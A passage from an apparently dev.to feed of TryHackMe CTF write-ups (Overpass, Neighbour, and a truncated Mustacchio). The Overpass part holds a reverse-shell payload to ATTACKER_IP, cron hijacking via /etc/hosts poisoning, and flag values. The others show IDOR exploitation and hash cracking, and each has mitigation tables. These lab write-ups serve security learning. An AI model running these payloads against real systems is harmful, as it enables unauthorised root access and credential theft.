&lt;li&gt;
&lt;strong&gt;Passphrase crack&lt;/strong&gt; — &lt;code&gt;ssh2john&lt;/code&gt; + &lt;code&gt;john&lt;/code&gt; → &lt;code&gt;james13&lt;/code&gt; → SSH access&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Crontab enum&lt;/strong&gt; — root runs &lt;code&gt;curl overpass.thm/... | bash&lt;/code&gt; every minute&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;/etc/hosts&lt;/code&gt; hijack&lt;/strong&gt; — world-writable, redirect &lt;code&gt;overpass.thm&lt;/code&gt; to attack box&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload delivery&lt;/strong&gt; — serve malicious &lt;code&gt;buildscript.sh&lt;/code&gt; → root reverse shell → root flag&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Build the payload tree matching the cron's requested path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; ~/overpass/downloads/src &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; ~/overpass
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; downloads/src/buildscript.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_IP/4444 0&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Poison resolution on the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ATTACKER_IP overpass.thm"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within a minute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.10.x.x - - [GET /downloads/src/buildscript.sh HTTP/1.1] 200 -
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.x.x] 49876
root@overpass-prod:/#
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tex"&gt;&lt;code&gt;thm&lt;span class="p"&gt;{&lt;/span&gt;7f336f8c359dbac18d54fdd64ea753bb&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;SQLi fuzzing on &lt;code&gt;/api/login&lt;/code&gt;.&lt;/strong&gt; First instinct on seeing &lt;code&gt;/api/login&lt;/code&gt; was to throw &lt;code&gt;' OR 1=1--&lt;/code&gt; at it. It's a Go &lt;code&gt;net/http&lt;/code&gt; handler with no SQL anywhere near the login decision — a few minutes wasted before doing the obvious thing and reading the client JS. The vuln was sitting in plaintext in the browser the entire time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The &lt;code&gt;/downloads&lt;/code&gt; source dive.&lt;/strong&gt; &lt;code&gt;/downloads&lt;/code&gt; serves the full Go source for the app. Spent a while reversing it for hardcoded secrets or a crypto flaw in password storage. There's a vulnerable-looking weak-encryption routine in there, but it's a dead end for this path — the crontab is the intended route and far shorter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SUID hunting.&lt;/strong&gt; Ran &lt;code&gt;find / -perm -4000 2&amp;gt;/dev/null&lt;/code&gt; out of habit. Nothing unusual — stock &lt;code&gt;sudo&lt;/code&gt;, &lt;code&gt;passwd&lt;/code&gt;, &lt;code&gt;mount&lt;/code&gt;. Cost nothing but attention; the crontab was the real answer and should have been checked first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Port 80 permission error.&lt;/strong&gt; First attempt at &lt;code&gt;python3 -m http.server 80&lt;/code&gt; without &lt;code&gt;sudo&lt;/code&gt; → &lt;code&gt;PermissionError: [Errno 13]&lt;/code&gt;. Port 80 is privileged. Thirty-second facepalm, fixed with &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;thm{65c1aaf000506e56996822c6281e6bf7}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~james/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;thm{7f336f8c359dbac18d54fdd64ea753bb}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Client-side-only session validation on &lt;code&gt;/admin&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Validate session tokens server-side against a real session store on every protected request; never trust cookie presence alone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Passphrase-protected private key exposed via web UI&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Never serve private keys through any web interface; distribute credentials via a secrets manager with audit logging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak key passphrase, crackable via rockyou.txt&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Enforce stronger passphrase policy for SSH keys; consider hardware-backed keys for sensitive accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root cron executing remote script fetched by hostname&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Never pipe network content into a privileged shell; pin to a fixed IP over TLS and verify a signature/checksum before execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;World-writable &lt;code&gt;/etc/hosts&lt;/code&gt; (&lt;code&gt;0666&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;chmod 644 /etc/hosts&lt;/code&gt;; audit &lt;code&gt;/etc&lt;/code&gt; for unexpected write permissions with &lt;code&gt;find /etc -writable -not -user root&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;Broken authentication doesn't need to be subtle to be devastating — here it was "the server trusts a cookie it never issued." Read client-side JavaScript before attacking the server; the logic flaw is often sitting there in plaintext. On the privesc side, &lt;code&gt;curl | bash&lt;/code&gt; as root is a standing invitation — check crontabs and world-writable &lt;code&gt;/etc&lt;/code&gt; files before reaching for a full enumeration script.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Overpass&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>Changing One Word in the URL Logged Me In As Admin — Neighbour (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:37:08 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/changing-one-word-in-the-url-logged-me-in-as-admin-neighbour-tryhackme-eff</link>
      <guid>https://dev.to/cyberfarhan/changing-one-word-in-the-url-logged-me-in-as-admin-neighbour-tryhackme-eff</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; IDOR&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Neighbour&lt;/strong&gt; is a box whose entire security model rests on the assumption that users won't look at the URL bar after logging in. It's a PHP web app with a login form, a profile page, and all the authorisation rigor of an honour system at an unmanned farm stall. The login page even helpfully leaves guest credentials in an HTML comment with a winking &lt;code&gt;Ctrl+U&lt;/code&gt; hint. The developer wanted you to find it. What they perhaps didn't intend was for &lt;code&gt;?user=admin&lt;/code&gt; to work just as smoothly right afterwards.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Full-range scan with RustScan, detailed service fingerprinting via Nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.169.236 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1 Ubuntu 4ubuntu0.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.53 (Debian)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;One detail worth flagging: the &lt;code&gt;PHPSESSID&lt;/code&gt; cookie is missing the &lt;code&gt;HttpOnly&lt;/code&gt; flag. A small note, but it confirms this is a PHP application and hints that session security wasn't a top priority here either.&lt;/p&gt;

&lt;p&gt;Feroxbuster scanning with PHP, TXT, and HTML extensions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.169.236/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,txt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output (relevant hits only)
200  http://10.49.169.236/index.php
200  http://10.49.169.236/login.php
302  http://10.49.169.236/profile.php  =&amp;gt;  login.php   # ^^^ redirects unauthenticated users
301  http://10.49.169.236/db           =&amp;gt;  /db/
200  http://10.49.169.236/db.php                       # ^^^ exists but returns empty body
302  http://10.49.169.236/logout.php   =&amp;gt;  login.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;profile.php&lt;/code&gt; bounces unauthenticated visitors straight to &lt;code&gt;login.php&lt;/code&gt; — so there is some kind of session check at the door. The question is whether that check extends to which user's profile you can view once you're inside. Spoiler: it doesn't.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;db.php&lt;/code&gt; returns a blank response, which likely means it's a database connection include file rather than a standalone page.&lt;/p&gt;

&lt;p&gt;The login page itself drops a hint in plain HTML: &lt;code&gt;Ctrl+U&lt;/code&gt; is called out right in the UI. Taking the bait:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;view-source:http://10.49.169.236/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- use guest:guest credentials until registration is fixed. "admin" user account is off limits!!!!! --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Guest credentials, giftwrapped in an HTML comment. The five exclamation marks on "off limits" are doing a lot of emotional heavy lifting for what is ultimately a URL parameter.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;th&gt;Where Found&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;guest&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;guest&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HTML comment in &lt;code&gt;index.php&lt;/code&gt; source&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;An Insecure Direct Object Reference occurs when an application uses a user-supplied value — a filename, a username, a numeric ID — to directly look up and return a resource, without checking whether the requesting user is actually authorised to access that specific resource. It's one of the most common and most impactful web vulnerabilities: the server trusts the client to only ask for things it's allowed to see, which is precisely the one thing a client should never be trusted to do.&lt;/p&gt;

&lt;p&gt;After logging in with &lt;code&gt;guest:guest&lt;/code&gt;, the application lands here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://10.49.169.236/profile.php?user=guest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hi, guest. Welcome to our site. Try not to peep your neighbor's profile.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That message is either a warning or an instruction depending on your disposition. The &lt;code&gt;?user=&lt;/code&gt; parameter is server-side rendered — the PHP backend looks up whatever username value is passed and returns that profile. The question is whether it checks that the logged-in session matches the requested username.&lt;/p&gt;

&lt;p&gt;Modifying the URL parameter directly in the browser address bar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://10.49.169.236/profile.php?user=admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server doesn't check. It just looks up &lt;code&gt;admin&lt;/code&gt; and returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hi, admin. Welcome to your site. The flag is: flag{66be95c478473d91a5358f2440c7af1f}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No re-authentication. No access control check. One URL edit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;No shell required. The flag was delivered directly in the HTTP response body after the IDOR parameter manipulation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;Not applicable — the challenge resolves entirely at the web layer with no system-level privilege escalation involved.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;HTML comment&lt;/strong&gt; on the login page → guest credentials &lt;code&gt;guest:guest&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Login as &lt;code&gt;guest&lt;/code&gt;&lt;/strong&gt; → lands on &lt;code&gt;profile.php?user=guest&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IDOR identified&lt;/strong&gt; — &lt;code&gt;?user=&lt;/code&gt; has no server-side ownership check&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;URL edit to &lt;code&gt;?user=admin&lt;/code&gt;&lt;/strong&gt; → admin profile returned → flag delivered directly&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;None encountered — the chain resolves cleanly in a handful of steps with no dead ends.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Challenge Flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;flag{66be95c478473d91a5358f2440c7af1f}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;profile.php?user=admin&lt;/code&gt; response&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IDOR on &lt;code&gt;profile.php?user=&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Validate server-side that the authenticated session user matches the requested profile; never trust user-supplied object references for access control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Guest credentials hardcoded in HTML comment&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Remove all credentials from client-deliverable files; use environment variables or a proper user registration flow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Missing &lt;code&gt;HttpOnly&lt;/code&gt; flag on &lt;code&gt;PHPSESSID&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Set &lt;code&gt;session.cookie_httponly = 1&lt;/code&gt; in &lt;code&gt;php.ini&lt;/code&gt; to prevent JavaScript access to the session cookie&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;A session cookie proves you're logged in — it doesn't automatically prove you're allowed to access every resource on the server. Always verify server-side that the authenticated user owns or has permission to access the specific object being requested, not just that they're authenticated at all.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Neighbour&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>I Used an XML Parser to Steal an SSH Private Key — Mustacchio (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:37:07 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/i-used-an-xml-parser-to-steal-an-ssh-private-key-mustacchio-tryhackme-4hif</link>
      <guid>https://dev.to/cyberfarhan/i-used-an-xml-parser-to-steal-an-ssh-private-key-mustacchio-tryhackme-4hif</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; XXE Injection / SQLite Credential Leak / PATH Hijack&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Mustacchio&lt;/strong&gt; is a barber shop themed box that hides its vulnerabilities with the same care the barber presumably puts into a clean shave — that is to say, not much. An exposed SQLite database in a JS directory, an admin panel on a non-standard port serving raw XML to a parser that trusts it completely, and a SUID binary that calls system utilities by name rather than by path. Each layer is independently preventable, and yet here we are. The box earns its difficulty from the chain length rather than the complexity of any individual step.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Full-range sweep with RustScan, Nmap for service and version fingerprinting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.48.141.220 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 7.2p2 Ubuntu 4ubuntu2.10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.18 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Standard two ports on the first pass. The homepage is a barber shop landing page. Nmap flags one &lt;code&gt;robots.txt&lt;/code&gt; disallowed entry: &lt;code&gt;/&lt;/code&gt;, which disallows everything and reveals nothing useful.&lt;/p&gt;

&lt;p&gt;Feroxbuster with PHP, HTML, and TXT extensions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.48.141.220 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,txt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most results are images and font files — cosmetic noise. The one hit that matters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;200  http://10.48.141.220/custom/js/users.bak   # ^^^ database backup in a JS directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;.bak&lt;/code&gt; file sitting in a publicly browsable JavaScript directory is exactly as bad as it sounds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file Downloads/users.bak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SQLite 3.x database, last written using SQLite version 3034001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlite3 Downloads/users.bak
sqlite&amp;gt; .dump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="nb"&gt;text&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="nb"&gt;text&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'1868e36a6d2b17d4c2745f1659433a54d4bc5f4b'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Username &lt;code&gt;admin&lt;/code&gt;, password as an unsalted SHA1 hash.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 100 1868e36a6d2b17d4c2745f1659433a54d4bc5f4b /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1868e36a6d2b17d4c2745f1659433a54d4bc5f4b:bulldog19

Status: Cracked
Time: ~1 sec
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Admin password: &lt;code&gt;bulldog19&lt;/code&gt;. SSH as &lt;code&gt;admin&lt;/code&gt; was blocked immediately — the server only accepts publickey authentication. Rather than stalling, a second, deeper Nmap scan was run to check for services missed on the first pass:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; 10.48.141.220
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;8765/tcp open  ultraseek-http   # ^^^ missed on first scan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 8765 — a non-standard HTTP port running nginx. &lt;code&gt;admin:bulldog19&lt;/code&gt; worked on a second login panel found there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

